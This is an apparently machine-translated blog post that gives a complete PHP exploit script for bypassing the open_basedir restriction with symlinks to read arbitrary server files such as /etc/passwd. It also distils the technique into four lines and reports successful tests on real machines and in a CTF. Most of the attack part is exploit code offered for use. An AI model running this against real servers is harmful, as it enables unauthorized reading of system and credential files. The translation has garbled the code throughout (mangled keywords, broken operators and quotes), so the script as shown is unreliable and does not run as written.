The bug was raised long ago (about 5 years ago), but it was not a problem with the PHP code, so the problem persists until now. I never noticed, and then Yaseng told me that he tested it as if it were 5.5.
Details of the vulnerability are http://cxsecurity.com/issue/WLB-2009110068 here.
Give me the exp that I wrote:
Copy Code code as follows:
<?php
/*
* by Phithon
* FROM Http://www.jb51.net
* detail:http://cxsecurity.com/issue/wlb-2009110068
*/
Header (' Content-type:text/plain ');
Error_reporting (-1);
Ini_set (' display_errors ', TRUE);
printf ("Open_basedir:%s\nphp_version:%s\n", Ini_get (' Open_basedir '), phpversion ());
printf ("Disable_functions:%s\n", Ini_get (' disable_functions '));
$file = str_replace (' \ \ ', '/', isset ($_request[' file ')]? $_request[' file ': '/etc/passwd ');
$relat _file = Getrelativepath (__file__, $file);
$paths = explode ('/', $file);
$name = Mt_rand ()% 999;
$exp = Getrandstr ();
mkdir ($name);
ChDir ($name);
for ($i = 1; $i < count ($paths)-1; $i + +) {
mkdir ($paths [$i]);
ChDir ($paths [$i]);
}
mkdir ($paths [$i]);
for ($i-= 1; $i > 0; $i-) {
ChDir ('.. ');
}
$paths = explode ('/', $relat _file);
$j = 0;
for ($i = 0; $paths [$i] = = ' ... '; $i + +) {
mkdir ($name);
ChDir ($name);
$j + +;
}
for ($i = 0; $i <= $j; $i + +) {
ChDir ('.. ');
}
$tmp = Array_fill (0, $j + 1, $name);
Symlink (Implode ('/', $tmp), ' Tmplink ');
$tmp = Array_fill (0, $j, '.. ');
Symlink (' tmplink/'. Implode ('/', $tmp). $file, $exp);
Unlink (' Tmplink ');
mkdir (' Tmplink ');
Delfile ($name);
$exp = dirname ($_server[' Script_name ')). "/{$exp}";
$exp = "http://{$_server[' server_name ']}{$exp}";
echo "\ n-----------------content---------------\ n \ nplease";
Echo file_get_contents ($EXP);
Delfile (' Tmplink ');
function Getrelativepath ($from, $to) {
Some compatibility fixes for Windows paths
$from = RTrim ($from, ' \/'). '/';
$from = str_replace (' \ \ ', '/', $from);
$to = str_replace (' \ \ ', '/', $to);
$from = explode ('/', $from);
$to = explode ('/', $to);
$relPath = $to;
foreach ($from as $depth => $dir) {
Find the Non-matching dir
if ($dir = = = $to [$depth]) {
Ignore this directory
Array_shift ($relPath);
} else {
Get number of remaining dirs to $from
$remaining = count ($from)-$depth;
if ($remaining > 1) {
Add traversals up to the matching dir
$padLength = (count ($relPath) + $remaining-1) *-1;
$relPath = Array_pad ($relPath, $padLength, '.. ');
Break
} else {
$relPath [0] = './'. $relPath [0];
}
}
}
Return implode ('/', $relPath);
}
function Delfile ($deldir) {
if (@is_file ($deldir)) {
@chmod ($deldir, 0777);
Return @unlink ($deldir);
}else if (@is_dir ($deldir)) {
if ($mydir = @opendir ($deldir)) = = NULL) return false;
while (false!== ($file = @readdir ($mydir)))
{
$name = File_str ($deldir. ' /'. $file);
if ($file!= '. ') && ($file!= ' ... ')) {delfile ($name);}
}
@closedir ($mydir);
@chmod ($deldir, 0777);
Return @rmdir ($deldir)? True:false;
}
}
function File_str ($string)
{
return Str_replace ('//', '/', str_replace (' \ \ ', '/', $string));
}
function Getrandstr ($length = 6) {
$chars = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ';
$randStr = ';
for ($i = 0; $i < $length; $i + +) {
$randStr. = substr ($chars, Mt_rand (0, strlen ($chars)-1), 1);
}
return $randStr;
}
If we want to read/etc/passwd. The idea is to create a link file x, point to a/a/a/a with a relative path, and then create a link file exp point to x/. /.. /.. /etc/passwd.
In fact, the point is a/a/a/a/. /.. /.. /ETC/PASSWD, in fact, is./etc/passwd.
This time delete x, then create an X directory, but exp or point to x/... /.. /.. /ETC/PASSWD, so he succeeded in crossing the/etc/passwd.
The essence is these four sentences:
Copy Code code as follows:
Symlink ("Abc/abc/abc/abc", "Tmplink");
Symlink ("tmplink/.") /.. /.. /etc/passwd "," exploit ");
Unlink ("Tmplink");
mkdir ("Tmplink");
We visit Http://xxx/exp, and if the server supports access to linked files, then you can read/etc/passwd.
There is no action to trigger open_basedir, but the effect is to bypass the Open_basedir read arbitrary files.
The error is not in PHP, but do not know who is the fault to the head, so PHP has not been the problem.
Open_basedir
Limit the files that PHP can open to the specified directory tree, including the file itself. This directive is not affected by Safe mode turning on or off.
When a script attempts to open a file with such as fopen () or Gzopen (), the location of the file is checked. PHP will refuse to open the file when it is outside the specified directory tree. All symbolic connections are parsed, so it is not possible to circumvent this limitation through symbolic connections.
Special values. Indicates that the working directory of the script will be used as the base directory. But this is a bit risky because the script's working directory can easily be changed by ChDir ().
In the httpd.conf file, Open_basedir can be shut down with "Php_admin_value open_basedir none", like any other configuration option (for example, in some virtual hosts).
In Windows, separate the directories with semicolons. Separate the directories with colons in any other system. As an Apache module, the Open_basedir path in the parent directory is automatically inherited.
The limit specified with Open_basedir is actually a prefix, not a directory name. That is to say, "Open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the path name with a slash. For example: "Open_basedir =/dir/incl/".
Note:
Support for multiple directories is 3.0.7 join.
By default, all files are allowed to open.
I tested it on my VPS (php5.3.28 + nginx) and raspberry pie (PHP 5.4.4 + nginx) and read it successfully.
Raspberry Pie Test:
Compared to the 5.3 xml hole (which many files can not read), the success rate is still relatively stable, a lot of documents can be read. And the version is not required, the harm is relatively large.
A few days ago letter CTF, tried the script, Apache can also read, then read the Kali machine/etc/httpd/conf/httpd.conf, nothing to harvest.
Found no side station, traffic is forwarded through the gateway.